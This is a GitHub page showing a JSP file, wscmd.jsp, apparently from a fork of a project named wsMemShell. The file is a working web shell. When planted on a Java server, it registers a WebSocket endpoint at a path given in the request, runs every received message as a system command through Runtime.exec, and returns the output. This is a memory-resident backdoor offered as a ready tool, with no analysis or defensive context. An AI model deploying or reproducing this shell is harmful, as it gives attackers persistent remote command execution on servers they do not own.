forked from veo/wsMemShell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwscmd.jsp
48 lines (48 loc) · 2.03 KB
/
wscmd.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%!
public static class x extends Endpoint {
@Override
public void onOpen(Session session, EndpointConfig config) {
session.addMessageHandler(new MessageHandler.Partial<String>() {
@Override
public void onMessage(String s, boolean ccc) {
if (s !=null){
String out;
try {
Runtime rt = Runtime.getRuntime();
Process p = rt.exec(s);
InputStream inputStream = p.getInputStream();
BufferedReader b = new BufferedReader(new InputStreamReader(inputStream));
StringBuilder all = new StringBuilder();
String line;
while ((line = b.readLine()) != null) {
all.append(line).append("\n");
}
out = all.toString();
} catch (Exception e) {
out = e.toString();
}
try {
session.getBasicRemote().sendText(out);
} catch (IOException e) {
e.printStackTrace();
}
}
}
});
}
}
%>
<%
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(x.class, request.getParameter("path")).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
try {
container.addEndpoint(configEndpoint);
} catch (DeploymentException e) {
e.printStackTrace();
}
%>